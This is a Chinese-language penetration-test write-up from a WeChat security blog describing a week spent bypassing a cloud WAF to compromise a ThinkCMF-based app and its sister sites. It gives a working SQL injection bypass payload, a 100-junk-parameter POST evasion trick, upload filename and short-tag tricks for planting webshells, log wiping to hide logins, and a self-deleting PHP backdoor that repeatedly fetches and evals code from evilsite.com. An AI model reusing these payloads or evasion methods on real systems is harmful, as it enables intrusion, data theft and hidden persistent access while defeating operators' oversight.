渗透实战 | 与某WAF对线三百回合

旧文重发：之前投稿到安译首发，现在重发申请一下原创。

 

0x00 前言

这里分享一个项目，目标系统漏洞百出但有一个极其nb的waf。我和它斗智斗勇每天进展一点点，最终用一周时间基本搞定。

一直认为waf这种东西只能防止无目的的攻击，在针对性的攻击面前，则只能拖延一点时间而已，并不能真正解决系统的安全问题。

现在waf广泛使用的【基于特征】的检测方式有千奇百怪的攻击手法可以绕过，而新型的【基于行为】的检测方式国内还不成熟。

这里分享的案例是国内的一个【基于特征+行为】的waf，项目没有截图，只能委屈大家看表情包脑补一下……

0x01 小试牛刀（第1天）

首先拿到手是一个app，放入模拟器抓包提取app核心域名+访问路径，注册账号在网页上登陆进行测试。

技术情况收集如下：目标系统框架thinkcmf，修复了日志泄露漏洞，中间件nginx，操作系统linux，有一个不知哪个厂商的cdn并附带waf。

随意测测各个功能和页面，thinkcmf这种大框架的安全性还是可以的，但是架不住没有安全意识的开发自己乱写代码。

很快我发现url中的一个【伪静态参数单引号报错】，目标开启了tp的sql调试模式，报错内容非常详细：有sql语句，配置文件里所有内容含盐，当前库名表名，当前用户在用户表中的所有字段和数据等。

既然已经有了数据库账户和密码（配置文件中），首先看能否绕过cdn找到真实ip直接连接，尝试很多方法未果，报错页面中其实也有ip相关信息，但是只有cdn的ip和一个内网ip。

放弃幻想开始手工注入，首先用一般的/*!50000*/混淆payload，当场被拦，后面进行模糊测试，观察了这个waf检测的特征与绕过方法如下：

（0）大小写混用、url、16进制编码无用

（1）过滤union select 

union distinct select绕过

（2）过滤select空格 

select后面的参数用引号包裹可以不加空格

（3）过滤空格from

和from挨着的那个参数用科学计数法可以不加空格

（4）过滤from空格

from{x 表名}语法绕过

（5）过滤information_schema

没能绕过，导致查不到表名列名，但还好用户表的表名和列名都在报错页面爆出来了不用查。

（6）过滤注释符/* - # 

调整payload在适当的位置加括号可以不用注释

最终注出用户表数据的payload如下（联合查询，四列，2、3列回显）：

https://www.example.com/a/b/c/id/1) uNion distinct (select'1',username,password,3e0from{x user}order by 1 limit 0,1.0

然后……下班时间到了。

【今日成果】：app基本信息收集，数据库敏感信息获取，sql注入绕过waf查询用户表。

0x02 暗度陈仓（第2天）

利用sql注入查询其他用户数据，cmf框架的用户结构不像一般的框架那样分成普通用户表和管理用户表，它的管理员和普通用户都在同一个表里。

表中的用户用一个字段去区分不同角色，这样虽然获取不到表名，但我只查用户表就可以获取管理员信息。

查询之后发现目标系统只有一个管理员（角色字段值为1，其余用户都是2），密码是hash加盐加密的，thinkcmf的加密方式cmd5里没有，只能自己跑彩虹表。

跑了400万个弱口令和社工密码之后没解出来……其他比较靠前的测试用户倒是解出一大堆。

这时的情况是，【空有一个普通权限的注入点】，不知道其他表名只能查用户表，管理员用户密码hash解不开，解开了也没用后台地址目前还没找到。

渗透陷入了僵局，于是我开始收集信息，收集到了目标的另外两个站——A站和B站（非二次元）。

【先看A站】，阿里云服务器，真实ip，没有cdn也没有waf，宝塔，dedecms，开了22和3306端口，后台地址admin，用户名admin，服务器用户名rootmysqlwww（ssh用户名枚举漏洞）。

开始测试：爆破、注入、扫目录、织梦已知漏洞等等一顿操作之后，没搞进去，放弃。

【再看B站】，有cdn，ecshop，注册账户后登陆，开始测试：前台sql注入、头像上传、留言板xss、垂直越权等等……，都没有。

不慌，一个/admin看到后台，随手一个123456……，没进去。但是发现没有验证码，挂上burp，top10000走起，弱口令成功登入。

以上行为总结：一顿操作猛如虎，一看密码三四五。

进后台找了几个上传点，全都是后缀白名单，没有包含和解析漏洞。但是惊喜的发现后台有【sql查询功能】（直接运行sql语句）和【数据库测试连接功能】。

开始测试sql查询功能，输好sql语句按回车，熟悉的waf页面又弹了出来……

重新尝试绕过，昨天的注入点是get型，这里是post型，waf的过滤规则相应有些变化。具体什么规则我没有记录，因为最后我是用：【post传参不限制长度，传递100个参数之后，第101个参数waf不会进行检测】这个方法去绕过的。前面加100个垃圾参数，之后的参数根本不用加任何混淆，堪称为所欲为。

重新开始sql查询，用户权限root，限制了文件读写目录，列库名，意外的发现商城和app竟然是旁站。

现在我不仅可以查询，还可以增删改app的数据，而且表名列名也都能查到了。

接下来尝试用数据库测试连接功能寻找真实ip：因为waf是cdn附带的，知道真实ip等于使waf失效，若3306开放还可以直接连入数据库，所以真实ip还是很有价值的。

【具体操作】：用nc在vps上监听端口，后台这边用测试连接功能发出请求，nc那边收到ip地址。

但是去访问发现该ip仅开了80端口，空白页面，修改hosts文件也没办法解析。真实ip还是没有找到，真奇怪。

容我先下个班慢慢想想怎么回事……

【今日成果】：用户信息收集，资产信息收集，旁站sql查询功能绕过waf操作数据库。

0x03 登堂入室（第3天）

截止第2天，我通过旁站的sql查询功能拿到了数据库root权限，但是管理员做了安全配置不能读写文件，所以还是要想办法进后台看看能不能getshell。可是目前后台地址还没有找到，常规的扫目录会被ban ip。

随意翻翻数据库，在系统配置表里翻到了一串神秘的字符串，注释写着后台加密，拿去拼到url后面试一试，竟然就跳到了后台登陆界面。

后面才知道目标有个【后台地址加密】功能，不过应该不是cmf框架原版的后台地址加密（/?g=admin&upw=加密码），可能是二次开发魔改的，所以直接拼到url后面就行了。

已知后台，可以改管理员密码去登陆，但是我看了一下数据库登陆日志表，发现目标的唯一管理用户其实很多人在用，登陆频率相当高。直接改密码动作太大了。需要想另外的方法登入。

我首先尝试了一下登陆日志xss盲打，在数据库里把登陆日志的一条改为偷cookie的js。然后就在xss平台蹲守，大概一小时之后，xss平台没有任何记录，反而数据库中看到登陆日志全被管理员清掉了……弄巧成拙。

转变思路，把一个已解出密码的普通用户提权为管理员（在数据库里改一个字段），然后提前准备好清除单条登陆日志的sql句，这边后台一登陆，旁站那边立刻运行，最终依靠手速达到悄无声息登陆后台的效果。

查看后台功能，找到了一个开发自己写的上传点，代码层面应该是没做任何过滤，但是尝试上传webshell时，熟悉老朋友又见面了——那个waf的页面。

继续硬刚，一番测试之后，发现waf基于两方面进行拦截：

（1）检测文件后缀名，匹配到php等敏感后缀就不予放行（php2，php3等都试过了）。

（2）检测文件内容，匹配到<?php就不予放行（大小写混淆也试过了）。

了解了检测特征，开始一一尝试绕过，首先是后缀名，利用引号分号和换行进行混淆绕过：filename==="shell';.ph

p"  

文件内容，尝试利用php短标签<??>进行绕过，很幸运目标开启了短标签功能。至此可以上传webshell。

先传了个年久失修的原版冰蝎（非3.0），连接时被拦截，是基于流量特征的检测。当时很懒没有去改冰蝎，直接传了个大马，可用。

然后我开始翻文件，当时没想到这个waf还藏了一手，随意翻了大概半小时，突然熟悉的waf页面又出来了，大马被杀。而且我用大马藏的其他webshell也都不能访问了，杀的是一干二净。

换个ip，我又登进后台传了一遍大马，依旧能用，但是这次仅仅过了不到十分钟，waf就出来了。换个ip再传，这次是一分钟，也就是连接之后点了两三下而已。这时才知道这个waf还有个基于行为检测的功能，类似机器学习的那种感觉。

看来这个大马waf已经很熟悉不能再用了，我找了另外一个大马，正当我换好ip打算进去再传一遍时，突然发现旁站sql查询的功能的页面也被waf拦截了……这确认了两点：

（1）这个waf确实有自学习的功能，虽然学的慢了点（那个功能我用了接近一天）。

（2）这waf狠起来连自己人都杀。

没了那个功能，就不能清理登陆日志了，登陆后台会有被发现的危险。正好此时也到了下班时间……

0x04 返璞归真（第4天）

上班，先看看被waf拦截的“自己人”有没有恢复，不看不要紧，一看发现，管理员把整个旁站都下线了……用之前的前台sql注入看了一下，自己加的用户还在。但是清理不了日志的情况下怎么能隐蔽的登陆后台呢？

这就是考验手速的时候了，提前准备好清理日志、拖源码、拖库三个php脚本，登陆后台后立马上传大马，利用waf自学习的时间差，上传运行并删除三个脚本（其实可以把三个脚本合成一个，然后不传大马直接传脚本），之后用迅雷把源码和数据库下载了回来。

本来打算代码审计一波，结果因为意外项目结束了……

0x05 思考

因为项目并没有完整的做完，所以我和waf之间也没分出个胜负。但后面想一想，针对waf这种基于行为检测方式和自学习功能，应该如何去绕过呢，这里有我想出的三个方法，抛砖引玉，大家也可以在留言区讨论一下。

（1）利用代理池隐蔽恶意流量。

【分析】：同样是系统自带的页面，后台的sql查询功能在我用了一天之后就被杀了，但是前台的sql注入我用了四天也没见被拦。猜测waf可能有一个模型，检测正常流量和恶意流量的比例。

【操作】：我上传大马后，挂一个代理池，构造大量的正常访问流量，把恶意流量混入其中，让waf以为这是一个正常页面，这样可以降低被杀的概率。

（2）加密返回报文。

【分析】：waf是cdn附带的，没有部署在目标服务器上，理论上它不可能知道我到底运行了什么命令，所谓基于行为其实应该是基于返回包的内容的特征匹配。

【操作】：那么我只要改一改冰蝎就好了，去掉流量特征，返回包全加密，waf就不知道我到底做了什么。

（3）php无文件木马。

【分析】：利用php的无文件木马，上传一个运行后会删除自己的脚本，它会驻留在内存中运行，脚本内容是一个死循环，隔一段时间运行一下远程vps上的代码，这种没有文件落地的webshell想必waf也没办法去拦截。

【操作】：

<?php

    unlink($_SERVER['SCRIPT_FILENAME']);

    ignore_user_abort(true);

    set_time_limit(0);

    $remote_file ='http://www.evilsite.com/eval.txt';

    while($code =file_get_contents($remote_file)){

        @eval($code);

        sleep(5);

    };

?>

0x06 后记

VX公众号：《小黑的安全笔记》

项目戛然而止，让我失去了和这个waf对线的机会，说起来有点丢人，截止今天前我还不知道这个waf是哪家的，不过在安译Sec首发此文之后，南方师傅已经告诉我了：某云盾。

项目全程没有截图，但是waf我截过一张，放在下面了。仅以此纪念这个和我对线将近一周的对手。

END.

---

喵，点个赞再走吧~

本文始发于微信公众号（小黑的安全笔记）：渗透实战 | 与某WAF对线三百回合